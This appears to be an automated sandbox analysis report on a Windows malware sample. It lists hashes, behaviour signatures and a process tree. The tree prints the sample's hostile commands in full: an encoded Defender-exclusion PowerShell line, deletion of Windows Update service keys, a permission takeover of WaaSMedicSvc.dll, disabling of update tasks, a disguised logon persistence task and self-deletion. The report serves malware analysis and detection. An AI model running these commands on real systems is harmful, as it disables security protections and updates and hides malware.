Analysis
-
max time kernel
300s -
max time network
312s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
30-08-2022 22:15
Static task
static1
Behavioral task
behavioral1
Sample
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
Resource
win7-20220812-en
General
-
Target
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
-
Size
2.2MB
-
MD5
d5dfb8447ced11274942ace31b4279d8
-
SHA1
5a1b36ef9db72321b3d075712a8888bd921a472c
-
SHA256
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07
-
SHA512
92db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde
-
SSDEEP
49152:NZMzod1k0XlJTfu7lCwMBLEUGu20S2hnnRYKiPCZYj8bkN2P:N2C1k+bMlCwWl2qhnnRYKECZYI44
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Drops file in Drivers directory 2 IoCs
Processes:
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exeupdates.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe File opened for modification C:\Windows\system32\drivers\etc\hosts updates.exe -
Executes dropped EXE 1 IoCs
Processes:
updates.exepid process 1124 updates.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 540 takeown.exe 1684 icacls.exe 1636 takeown.exe 1624 icacls.exe -
Stops running service(s) 3 TTPs
-
Deletes itself 1 IoCs
Processes:
cmd.exepid process 784 cmd.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2004 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 1624 icacls.exe 540 takeown.exe 1684 icacls.exe 1636 takeown.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1176 sc.exe 988 sc.exe 1012 sc.exe 1984 sc.exe 1744 sc.exe 1648 sc.exe 972 sc.exe 1564 sc.exe 992 sc.exe 1644 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1980 schtasks.exe 1120 schtasks.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1668 reg.exe 1560 reg.exe 776 reg.exe 1892 reg.exe 1052 reg.exe 1348 reg.exe 832 reg.exe 1656 reg.exe 1724 reg.exe 1580 reg.exe 636 reg.exe 1244 reg.exe 764 reg.exe 1096 reg.exe 1000 reg.exe 968 reg.exe 1596 reg.exe 1720 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exe5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exepowershell.exepid process 856 powershell.exe 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe 1416 powershell.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exe5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exeupdates.exedescription pid process Token: SeDebugPrivilege 856 powershell.exe Token: SeShutdownPrivilege 1872 powercfg.exe Token: SeShutdownPrivilege 560 powercfg.exe Token: SeShutdownPrivilege 1508 powercfg.exe Token: SeShutdownPrivilege 2000 powercfg.exe Token: SeTakeOwnershipPrivilege 540 takeown.exe Token: SeDebugPrivilege 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe Token: SeDebugPrivilege 1416 powershell.exe Token: SeShutdownPrivilege 688 powercfg.exe Token: SeShutdownPrivilege 856 powercfg.exe Token: SeShutdownPrivilege 280 powercfg.exe Token: SeShutdownPrivilege 1064 powercfg.exe Token: SeTakeOwnershipPrivilege 1636 takeown.exe Token: SeDebugPrivilege 1124 updates.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.execmd.execmd.execmd.exedescription pid process target process PID 288 wrote to memory of 856 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe powershell.exe PID 288 wrote to memory of 856 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe powershell.exe PID 288 wrote to memory of 856 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe powershell.exe PID 288 wrote to memory of 828 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 828 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 828 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 696 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 696 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 696 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 696 wrote to memory of 1872 696 cmd.exe powercfg.exe PID 696 wrote to memory of 1872 696 cmd.exe powercfg.exe PID 696 wrote to memory of 1872 696 cmd.exe powercfg.exe PID 828 wrote to memory of 988 828 cmd.exe sc.exe PID 828 wrote to memory of 988 828 cmd.exe sc.exe PID 828 wrote to memory of 988 828 cmd.exe sc.exe PID 828 wrote to memory of 1012 828 cmd.exe sc.exe PID 828 wrote to memory of 1012 828 cmd.exe sc.exe PID 828 wrote to memory of 1012 828 cmd.exe sc.exe PID 828 wrote to memory of 1564 828 cmd.exe sc.exe PID 828 wrote to memory of 1564 828 cmd.exe sc.exe PID 828 wrote to memory of 1564 828 cmd.exe sc.exe PID 288 wrote to memory of 1276 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 1276 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 288 wrote to memory of 1276 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe PID 828 wrote to memory of 992 828 cmd.exe sc.exe PID 828 wrote to memory of 992 828 cmd.exe sc.exe PID 828 wrote to memory of 992 828 cmd.exe sc.exe PID 828 wrote to memory of 1984 828 cmd.exe sc.exe PID 828 wrote to memory of 1984 828 cmd.exe sc.exe PID 828 wrote to memory of 1984 828 cmd.exe sc.exe PID 1276 wrote to memory of 1980 1276 cmd.exe schtasks.exe PID 1276 wrote to memory of 1980 1276 cmd.exe schtasks.exe PID 1276 wrote to memory of 1980 1276 cmd.exe schtasks.exe PID 828 wrote to memory of 1244 828 cmd.exe reg.exe PID 828 wrote to memory of 1244 828 cmd.exe reg.exe PID 828 wrote to memory of 1244 828 cmd.exe reg.exe PID 696 wrote to memory of 560 696 cmd.exe powercfg.exe PID 696 wrote to memory of 560 696 cmd.exe powercfg.exe PID 696 wrote to memory of 560 696 cmd.exe powercfg.exe PID 696 wrote to memory of 1508 696 cmd.exe powercfg.exe PID 696 wrote to memory of 1508 696 cmd.exe powercfg.exe PID 696 wrote to memory of 1508 696 cmd.exe powercfg.exe PID 696 wrote to memory of 2000 696 cmd.exe powercfg.exe PID 696 wrote to memory of 2000 696 cmd.exe powercfg.exe PID 696 wrote to memory of 2000 696 cmd.exe powercfg.exe PID 828 wrote to memory of 832 828 cmd.exe reg.exe PID 828 wrote to memory of 832 828 cmd.exe reg.exe PID 828 wrote to memory of 832 828 cmd.exe reg.exe PID 828 wrote to memory of 1656 828 cmd.exe reg.exe PID 828 wrote to memory of 1656 828 cmd.exe reg.exe PID 828 wrote to memory of 1656 828 cmd.exe reg.exe PID 828 wrote to memory of 968 828 cmd.exe reg.exe PID 828 wrote to memory of 968 828 cmd.exe reg.exe PID 828 wrote to memory of 968 828 cmd.exe reg.exe PID 828 wrote to memory of 764 828 cmd.exe reg.exe PID 828 wrote to memory of 764 828 cmd.exe reg.exe PID 828 wrote to memory of 764 828 cmd.exe reg.exe PID 828 wrote to memory of 540 828 cmd.exe takeown.exe PID 828 wrote to memory of 540 828 cmd.exe takeown.exe PID 828 wrote to memory of 540 828 cmd.exe takeown.exe PID 828 wrote to memory of 1684 828 cmd.exe icacls.exe PID 828 wrote to memory of 1684 828 cmd.exe icacls.exe PID 828 wrote to memory of 1684 828 cmd.exe icacls.exe PID 288 wrote to memory of 2044 288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe"C:\Users\Admin\AppData\Local\Temp\5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAeAB0AHoAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBsAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHQAYwBuAGcAIwA+ACAAQAAoACAAPAAjAHIAagAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaABzAGoAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAagBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAbwB1ACMAPgA="2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "OneDrivesSystems"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "OneDrivesSystems"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe"2⤵
- Deletes itself
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {A6C67369-ED74-42C7-B34A-08E9C216F1E6} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exeC:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAeAB0AHoAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBsAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHQAYwBuAGcAIwA+ACAAQAAoACAAPAAjAHIAagAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaABzAGoAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAagBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAbwB1ACMAPgA="3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "stopjduuhfz"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exeFilesize
2.2MB
MD5d5dfb8447ced11274942ace31b4279d8
SHA15a1b36ef9db72321b3d075712a8888bd921a472c
SHA2565ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07
SHA51292db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde
-
C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exeFilesize
2.2MB
MD5d5dfb8447ced11274942ace31b4279d8
SHA15a1b36ef9db72321b3d075712a8888bd921a472c
SHA2565ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07
SHA51292db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD54d8d078fbcfa5170ae38216cf89468ad
SHA15bf04a3931d46e5ddddaa8fa45a4bc432b9ac923
SHA256c3b5d0b3c1c16ec699d0e63deb819e2b7ac0eb90d56abee0e90c30f75f537e9a
SHA51227ef5cb8f6fd7b3eac6229188c79097bc09962ddced4fbae56663eba0091d08d44211a0c7f994e36176be13b90f9fdeb0aa73e633c53998b69c1ecb8f328f84f
-
C:\Windows\system32\drivers\etc\hostsFilesize
5KB
MD50684960f1127625c7a987862df0a9047
SHA18827566f52b386062aee1cb853a91bede04299b2
SHA256c10285503e78eacbaa3c00e31a8811afbeaaa07049cc650b6ce961164ba497da
SHA512143cf0a46f6afda8e796eebf3be8e08fbc8c46c45236988ef678aa3f0d1e4ba44130fbd3d63e5abff4e4419f006f378f2a5dc2ef3b152524502c489fa32d2401
-
\Users\Admin\AppData\Local\Temp\onedrives\updates.exeFilesize
2.2MB
MD5d5dfb8447ced11274942ace31b4279d8
SHA15a1b36ef9db72321b3d075712a8888bd921a472c
SHA2565ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07
SHA51292db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde
-
memory/280-124-0x0000000000000000-mapping.dmp
-
memory/288-55-0x000000001BEC0000-0x000000001C0DA000-memory.dmpFilesize
2.1MB
-
memory/288-56-0x000007FEFBCC1000-0x000007FEFBCC3000-memory.dmpFilesize
8KB
-
memory/288-54-0x000000013FA70000-0x000000013FCA4000-memory.dmpFilesize
2.2MB
-
memory/304-117-0x0000000000000000-mapping.dmp
-
memory/400-102-0x0000000000000000-mapping.dmp
-
memory/540-84-0x0000000000000000-mapping.dmp
-
memory/560-77-0x0000000000000000-mapping.dmp
-
memory/572-88-0x0000000000000000-mapping.dmp
-
memory/636-139-0x0000000000000000-mapping.dmp
-
memory/688-119-0x0000000000000000-mapping.dmp
